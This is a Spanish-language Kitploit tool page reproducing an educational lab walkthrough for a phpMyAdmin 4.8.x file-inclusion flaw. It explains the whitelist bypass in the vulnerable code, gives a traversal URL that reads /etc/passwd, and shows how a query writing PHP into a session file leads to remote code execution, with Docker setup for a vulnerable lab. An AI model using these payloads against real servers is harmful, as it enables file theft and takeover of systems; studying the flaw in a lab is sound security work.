Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-1263-Demo — Demo educativa de exploit para CVE-2018-1263 (RCE/LFI en phpMyAdmin). Incluye configuración del entorno vulnerable mediante Docker y un recorrido paso a paso del ataque para aprender sobre explotación de aplicaciones web. | Kitploit
Herramientas/GitHubGitHub/sakib570/cve-2018-1263-demo
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubsakib570/cve-2018-1263-demo

CVE-2018-1263-Demo

Demo educativa de exploit para CVE-2018-1263 (RCE/LFI en phpMyAdmin). Incluye configuración del entorno vulnerable mediante Docker y un recorrido paso a paso del ataque para aprender sobre explotación de aplicaciones web.

Ver Repositorio
11hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Demo de exploit

Esta guía te ayudará a instalar el componente vulnerable y realizar el ataque relacionado con el error de phpMyAdmin mencionado en CVE-2018-1263.

  • Descripción de CVE
  • Por qué existe la vulnerabilidad
  • Cómo funciona el ataque
  • Cómo instalar el componente vulnerable
  • Cómo realizar el ataque

Descripción de CVE

Este exploit está relacionado con un problema descubierto en phpMyAdmin versión 4.8.x anterior a 4.8.2. Al explotar el problema, un atacante puede ejecutar código remoto e incluir archivos locales en el servidor. La vulnerabilidad se debe a la parte del código responsable de redirigir y cargar páginas dentro de phpMyAdmin. El código tiene una prueba defectuosa para las páginas de la lista blanca que hace posible el ataque. Un atacante debe estar autenticado, excepto en el caso "$cfg['AllowArbitraryServer'] = true" (donde un atacante puede especificar cualquier host que ya controle y ejecutar código arbitrario en phpMyAdmin) y en el caso "$cfg['ServerDefault'] = 0" (que omite el requisito de inicio de sesión y ejecuta el código vulnerable sin autenticación).

Por qué existe la vulnerabilidad

La vulnerabilidad es causada por una omisión de la validación en la función vulnerable de comprobación de rutas. Esta vulnerabilidad permite a un atacante remoto autenticado ejecutar código PHP arbitrario en el servidor.

Hay una inclusión de archivos en index.php de phpMyAdmin que se puede provocar proporcionando un parámetro llamado en la URL, y la parte del código que valida el parámetro se parece a lo siguiente:

target
target
root@kitploit:~
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
// ...

En este código, una vez que la condición del if se cumple, se ejecuta include $_REQUEST['target'];. Así que solo necesitamos omitir la condición del if para ejecutar lo que queramos.

Veamos la condición del if

  1. Las dos primeras condiciones dicen que el parámetro target no puede estar vacío y debe ser una cadena.
  2. La tercera condición restringe que el parámetro target comience con index.
  3. La cuarta condición restringe que el parámetro target no esté en $target_blacklist
    • $target_blacklist se define justo antes de la condición del if e incluye import.php y export.php, lo que significa que se permite cualquier cosa excepto estas dos páginas.
  4. La quinta y última condición es una comprobación de lista blanca para la validez de la página mediante una función existente en la clase Core: Core::checkPageValidity($_REQUEST['target']).
    • Como se muestra en el siguiente fragmento de código, la función checkPageValidity elimina todo lo que está después de ? de $page y comprueba si está en la lista blanca. La cadena después de ? no forma parte de la ruta de la URL. En el fragmento también se muestra un ejemplo de lista blanca.
    root@kitploit:~
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        // ...
        $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
        // example $whitelist == array('db_sql.php', 'sql.php', ...)
        if (in_array($_page, $whitelist)) {
            return true;
        }
        // ...
        return false;
    } 
    
    • El punto importante a tener en cuenta aquí es que el atacante tiene control total sobre $page, ya que proviene directamente de $_REQUEST['target'].

Cómo funciona el ataque

Como se mencionó anteriormente, el atacante tiene control total sobre $page en la función checkPageValidity a través del parámetro $_REQUEST['target'] en la URL. Imaginemos que el atacante envía algo como lo siguiente usando el parámetro $_REQUEST['target'] en $page

root@kitploit:~
$page = 'db_sql.php?/../../../../../../../../etc/passwd'

La función checkPageValidity realiza lo siguiente

  1. Primero divide la cadena en ? y asigna la primera parte a $page. Así, en este ejemplo, el valor de $page = db_sql.php.
  2. Luego comprueba si $_page, es decir, db_sql.php, está en la lista blanca o no. Como está en la lista blanca, la función devuelve True y vuelve a index.php

Como la condición del if en index.php ahora es True, se ejecuta la siguiente línea, como se muestra en el fragmento de código de index.php anterior

root@kitploit:~
include $_REQUEST['target'];

Lo que sucede a continuación es

  • La declaración anterior incluye el valor no dividido de $_REQUEST['target'], lo que significa que se ejecuta lo siguiente
    root@kitploit:~
    GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
    
  • Dado que PHP convierte mágicamente la ruta a /../../../../../../../../etc/passwd sin comprobar si db_sql.php existe o no, se ejecuta /../../../../../../../../etc/passwd y el contenido del archivo /etc/passwd se envía en la respuesta al atacante.

Ahora podemos usar esto para realizar inclusión de archivos locales o incluso ejecución remota de código para obtener una reverse shell. Cada vez que ejecutamos una consulta en phpMyAdmin, se crea un archivo de sesión y se almacena en el directorio /tmp con el contenido de la consulta. El archivo de sesión se llama sess_< SESSION ID >. El ID de sesión se puede encontrar fácilmente en la cookie usando la opción de inspección del navegador.

Entonces, si ejecutamos la siguiente consulta en phpMyAdmin

root@kitploit:~
SELECT '<?php phpinfo();exit;?>'

Se almacenará en el archivo de sesión. Imaginemos que nuestro ID de sesión para phpMyAdmin es e15cffd3ab25a631136611fba9ca2042

Luego, si activamos la siguiente dirección en el navegador

root@kitploit:~
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042

Entonces phpMyAdmin intentará cargar la página de sesión y, como la página contiene el código PHP proporcionado a través de la consulta, el código PHP se ejecutará y, en este ejemplo en particular, veremos phpinfo en la página cargada por el navegador. Con esta técnica podemos ejecutar cualquier código arbitrario en el servidor remoto.

Cómo instalar el componente vulnerable

La infraestructura del exploit requiere una versión vulnerable de phpMyAdmin y mysql. Usaremos contenedores docker para instalar los componentes necesarios. Para la versión vulnerable de phpMyAdmin usaremos el entorno docker preconstruido de Vulhub y para mysql usaremos la última versión oficial de dockerhub. El script de instalación se proporciona como un script yml de docker compose que se puede encontrar en el repositorio.

Asumimos que la máquina destinada tiene docker y docker-compose instalados. Si no es así, consulta la documentación de docker para instalarlos. Una vez que docker esté instalado, realiza los siguientes pasos para configurar el componente vulnerable:

Primero clona el repositorio en la máquina destinada y navega al directorio clonado

root@kitploit:~
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo

Luego ejecuta el script de docker compose usando el siguiente comando

root@kitploit:~
sudo docker-compose up -d

Una vez que el proceso de instalación termine, docker expondrá la página de phpMyAdmin en el puerto 8080 de tu máquina. Puedes comprobarlo abriendo la página en tu navegador usando el siguiente formato de dirección

root@kitploit:~
http://your-machine-ip:8080

Si el proceso de instalación es exitoso, deberías ver una página como la siguiente

phpMyAdmin_homepage

Cómo realizar el ataque

El siguiente video es un tutorial sobre cómo realizar el ataque

Enlace del video: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview

Referencias

[1] https://www.exploit-db.com/exploits/44928

[2] https://github.com/vulhub/vulhub

[3] https://docs.docker.com/get-docker/

Descargar herramienta